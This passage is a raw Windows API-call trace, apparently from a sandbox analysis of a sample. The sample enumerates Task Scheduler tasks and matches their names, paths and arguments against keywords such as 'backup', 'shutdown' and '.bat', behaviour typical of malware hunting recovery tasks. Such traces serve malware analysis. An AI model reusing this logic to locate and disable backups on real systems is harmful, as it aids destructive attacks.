ppDefinition=0x5cfa08*=0x47fdb0) returned 0x0 [0195.488] ITaskDefinition:get_Actions (in: This=0x47fdb0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe28) returned 0x0 [0195.488] IActionCollection:get_Count (in: This=0x47fe28, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0195.488] IActionCollection:get_Item (in: This=0x47fe28, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0195.488] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0195.488] IUnknown:Release (This=0x2463748) returned 0x1 [0195.489] IUnknown:Release (This=0x47fe28) returned 0x1 [0195.489] IUnknown:Release (This=0x47fdb0) returned 0x0 [0195.489] IUnknown:Release (This=0x47fd00) returned 0x0 [0195.489] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd00) returned 0x0 [0195.489] IRegisteredTask:get_Name (in: This=0x47fd00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SessionAgent") returned 0x0 [0195.489] IRegisteredTask:get_State (in: This=0x47fd00, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0195.490] IUnknown:Release (This=0x47fd00) returned 0x0 [0195.490] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd00) returned 0x0 [0195.490] IRegisteredTask:get_Name (in: This=0x47fd00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SystemDataProviders") returned 0x0 [0195.490] IRegisteredTask:get_State (in: This=0x47fd00, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0195.492] IUnknown:Release (This=0x47fd00) returned 0x0 [0195.492] IUnknown:Release (This=0x24636c8) returned 0x0 [0195.492] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0195.492] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.492] IUnknown:Release (This=0x47fcb8) returned 0x0 [0195.492] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.492] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1f, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.492] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.493] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.493] IUnknown:Release (This=0x2463648) returned 0x0 [0195.493] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd20) returned 0x0 [0195.493] ITaskFolderCollection:get_Count (in: This=0x47fd20, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.493] IUnknown:Release (This=0x47fd20) returned 0x0 [0195.493] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.493] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.493] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.494] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.494] IUnknown:Release (This=0x2463648) returned 0x0 [0195.494] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd00) returned 0x0 [0195.495] ITaskFolderCollection:get_Count (in: This=0x47fd00, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.495] IUnknown:Release (This=0x47fd00) returned 0x0 [0195.495] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.495] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.495] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.496] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0195.496] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd10) returned 0x0 [0195.496] IRegisteredTask:get_Name (in: This=0x47fd10, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SR") returned 0x0 [0195.496] IRegisteredTask:get_State (in: This=0x47fd10, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0195.497] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6d8998 [0195.497] wcsstr (_Str="sr", _SubStr="reboot") returned 0x0 [0195.498] wcsstr (_Str="sr", _SubStr="restart") returned 0x0 [0195.498] wcsstr (_Str="sr", _SubStr="shutdown") returned 0x0 [0195.498] wcsstr (_Str="sr", _SubStr="logoff") returned 0x0 [0195.498] wcsstr (_Str="sr", _SubStr=".bat") returned 0x0 [0195.498] wcsstr (_Str="sr", _SubStr="backup") returned 0x0 [0195.498] wcsstr (_Str="sr", _SubStr=".cmd") returned 0x0 [0195.498] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8998) returned 1 [0195.498] IRegisteredTask:get_Definition (in: This=0x47fd10, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fdb0) returned 0x0 [0195.508] ITaskDefinition:get_Actions (in: This=0x47fdb0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe28) returned 0x0 [0195.508] IActionCollection:get_Count (in: This=0x47fe28, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0195.508] IActionCollection:get_Item (in: This=0x47fe28, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0195.508] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0195.508] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0195.508] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0195.508] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2818 [0195.508] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0195.509] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0195.509] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0195.509] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0195.509] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0195.509] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0195.509] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0195.509] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2818) returned 1 [0195.509] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/d srrstr.dll,ExecuteScheduledSPPCreation") returned 0x0 [0195.509] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x54) returned 0x6d9258 [0195.509] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="reboot") returned 0x0 [0195.509] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="restart") returned 0x0 [0195.509] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="shutdown") returned 0x0 [0195.509] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="logoff") returned 0x0 [0195.509] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".bat") returned 0x0 [0195.509] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="backup") returned 0x0 [0195.509] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".cmd") returned 0x0 [0195.509] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9258) returned 1 [0195.509] IUnknown:Release (This=0x2463748) returned 0x2 [0195.509] IUnknown:Release (This=0x2463748) returned 0x1 [0195.509] IUnknown:Release (This=0x47fe28) returned 0x1 [0195.509] IUnknown:Release (This=0x47fdb0) returned 0x0 [0195.509] IUnknown:Release (This=0x47fd10) returned 0x0 [0195.509] IUnknown:Release (This=0x2463648) returned 0x0 [0195.509] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0195.510] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.510] IUnknown:Release (This=0x47fcb8) returned 0x0 [0195.510] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.510] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x22, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.510] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.510] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.510] IUnknown:Release (This=0x2463648) returned 0x0 [0195.510] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd00) returned 0x0 [0195.511] ITaskFolderCollection:get_Count (in: This=0x47fd00, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.511] IUnknown:Release (This=0x47fd00) returned 0x0 [0195.511] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.511] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.511] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0195.512] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0195.512] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd00) returned 0x0 [0195.512] IRegisteredTask:get_Name (in: This=0x47fd00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="IpAddressConflict1") returned 0x0 [0195.512] IRegisteredTask:get_State (in: This=0x47fd00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0195.513] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0195.513] wcsstr (_Str="ipaddressconflict1", _SubStr="reboot") returned 0x0 [0195.514] wcsstr (_Str="ipaddressconflict1", _SubStr="restart") returned 0x0 [0195.514] wcsstr (_Str="ipaddressconflict1", _SubStr="shutdown") returned 0x0 [0195.514] wcsstr (_Str="ipaddressconflict1", _SubStr="logoff") returned 0x0 [0195.514] wcsstr (_Str="ipaddressconflict1", _SubStr=".bat") returned 0x0 [0195.514] wcsstr (_Str="ipaddressconflict1", _SubStr="backup") returned 0x0 [0195.514] wcsstr (_Str="ipaddressconflict1", _SubStr=".cmd") returned 0x0 [0195.514] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0195.514] IRegisteredTask:get_Definition (in: This=0x47fd00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fdb0) returned 0x0 [0197.694] ITaskDefinition:get_Actions (in: This=0x47fdb0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe28) returned 0x0 [0197.694] IActionCollection:get_Count (in: This=0x47fe28, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0197.694] IActionCollection:get_Item (in: This=0x47fe28, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0197.694] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0197.695] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0197.695] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0197.695] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2818 [0197.695] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0197.695] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0197.695] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0197.695] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0197.695] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0197.695] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0197.695] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0197.695] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2818) returned 1 [0197.695] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="ndfapi.dll,NdfRunDllDuplicateIPOffendingSystem") returned 0x0 [0197.695] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5e) returned 0x7a6460 [0197.695] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="reboot") returned 0x0 [0197.695] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="restart") returned 0x0 [0197.695] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="shutdown") returned 0x0 [0197.695] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="logoff") returned 0x0 [0197.695] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".bat") returned 0x0 [0197.695] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="backup") returned 0x0 [0197.695] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".cmd") returned 0x0 [0197.695] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x7a6460) returned 1 [0197.695] IUnknown:Release (This=0x2463788) returned 0x2 [0197.695] IUnknown:Release (This=0x2463788) returned 0x1 [0197.695] IUnknown:Release (This=0x47fe28) returned 0x1 [0197.695] IUnknown:Release (This=0x47fdb0) returned 0x0 [0197.695] IUnknown:Release (This=0x47fd00) returned 0x0 [0197.695] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd00) returned 0x0 [0197.695] IRegisteredTask:get_Name (in: This=0x47fd00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="IpAddressConflict2") returned 0x0 [0197.695] IRegisteredTask:get_State (in: This=0x47fd00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0198.714] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0198.714] wcsstr (_Str="ipaddressconflict2", _SubStr="reboot") returned 0x0 [0198.714] wcsstr (_Str="ipaddressconflict2", _SubStr="restart") returned 0x0 [0198.714] wcsstr (_Str="ipaddressconflict2", _SubStr="shutdown") returned 0x0 [0198.714] wcsstr (_Str="ipaddressconflict2", _SubStr="logoff") returned 0x0 [0198.714] wcsstr (_Str="ipaddressconflict2", _SubStr=".bat") returned 0x0 [0198.714] wcsstr (_Str="ipaddressconflict2", _SubStr="backup") returned 0x0 [0198.714] wcsstr (_Str="ipaddressconflict2", _SubStr=".cmd") returned 0x0 [0198.714] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0198.714] IRegisteredTask:get_Definition (in: This=0x47fd00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fdb0) returned 0x0 [0198.723] ITaskDefinition:get_Actions (in: This=0x47fdb0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe28) returned 0x0 [0198.723] IActionCollection:get_Count (in: This=0x47fe28, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0198.723] IActionCollection:get_Item (in: This=0x47fe28, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0198.723] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0198.723] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0198.723] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0198.723] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2818 [0198.723] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0198.723] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0198.723] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0198.723] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0198.723] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0198.723] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0198.723] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0198.723] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2818) returned 1 [0198.723] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="ndfapi.dll,NdfRunDllDuplicateIPDefendingSystem") returned 0x0 [0198.723] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5e) returned 0x7a6460 [0198.723] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="reboot") returned 0x0 [0198.723] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="restart") returned 0x0 [0198.723] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="shutdown") returned 0x0 [0198.723] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="logoff") returned 0x0 [0198.723] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".bat") returned 0x0 [0198.724] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="backup") returned 0x0 [0198.724] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".cmd") returned 0x0 [0198.724] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x7a6460) returned 1 [0198.724] IUnknown:Release (This=0x2463688) returned 0x2 [0198.724] IUnknown:Release (This=0x2463688) returned 0x1 [0198.724] IUnknown:Release (This=0x47fe28) returned 0x1 [0198.724] IUnknown:Release (This=0x47fdb0) returned 0x0 [0198.724] IUnknown:Release (This=0x47fd00) returned 0x0 [0198.724] IUnknown:Release (This=0x24636c8) returned 0x0 [0198.724] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0198.724] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0198.724] IUnknown:Release (This=0x47fcb8) returned 0x0 [0198.724] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0198.724] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x24, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0198.724] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0198.725] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0198.725] IUnknown:Release (This=0x2463648) returned 0x0 [0198.725] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd18) returned 0x0 [0198.725] ITaskFolderCollection:get_Count (in: This=0x47fd18, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0198.725] IUnknown:Release (This=0x47fd18) returned 0x0 [0198.725] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0198.725] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0198.726] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0198.726] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0198.727] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd68) returned 0x0 [0198.727] IRegisteredTask:get_Name (in: This=0x47fd68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SynchronizeTime") returned 0x0 [0198.727] IRegisteredTask:get_State (in: This=0x47fd68, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0198.728] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f4330 [0198.728] wcsstr (_Str="synchronizetime", _SubStr="reboot") returned 0x0 [0198.728] wcsstr (_Str="synchronizetime", _SubStr="restart") returned 0x0 [0198.728] wcsstr (_Str="synchronizetime", _SubStr="shutdown") returned 0x0 [0198.728] wcsstr (_Str="synchronizetime", _SubStr="logoff") returned 0x0 [0198.728] wcsstr (_Str="synchronizetime", _SubStr=".bat") returned 0x0 [0198.728] wcsstr (_Str="synchronizetime", _SubStr="backup") returned 0x0 [0198.728] wcsstr (_Str="synchronizetime", _SubStr=".cmd") returned 0x0 [0198.728] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4330) returned 1 [0198.728] IRegisteredTask:get_Definition (in: This=0x47fd68, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe28) returned 0x0 [0198.736] ITaskDefinition:get_Actions (in: This=0x47fe28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fea0) returned 0x0 [0198.736] IActionCollection:get_Count (in: This=0x47fea0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0198.736] IActionCollection:get_Item (in: This=0x47fea0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0198.736] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0198.736] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0198.736] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\sc.exe") returned 0x0 [0198.736] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0198.736] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="reboot") returned 0x0 [0198.736] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="restart") returned 0x0 [0198.737] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="shutdown") returned 0x0 [0198.737] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="logoff") returned 0x0 [0198.737] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".bat") returned 0x0 [0198.737] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="backup") returned 0x0 [0198.737] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".cmd") returned 0x0 [0198.737] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0198.737] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="start w32time task_started") returned 0x0 [0198.737] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x36) returned 0x6c9c90 [0198.737] wcsstr (_Str="start w32time task_started", _SubStr="reboot") returned 0x0 [0198.737] wcsstr (_Str="start w32time task_started", _SubStr="restart") returned 0x0 [0198.737] wcsstr (_Str="start w32time task_started", _SubStr="shutdown") returned 0x0 [0198.737] wcsstr (_Str="start w32time task_started", _SubStr="logoff") returned 0x0 [0198.737] wcsstr (_Str="start w32time task_started", _SubStr=".bat") returned 0x0 [0198.737] wcsstr (_Str="start w32time task_started", _SubStr="backup") returned 0x0 [0198.737] wcsstr (_Str="start w32time task_started", _SubStr=".cmd") returned 0x0 [0198.737] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0198.737] IUnknown:Release (This=0x2463748) returned 0x2 [0198.737] IUnknown:Release (This=0x2463748) returned 0x1 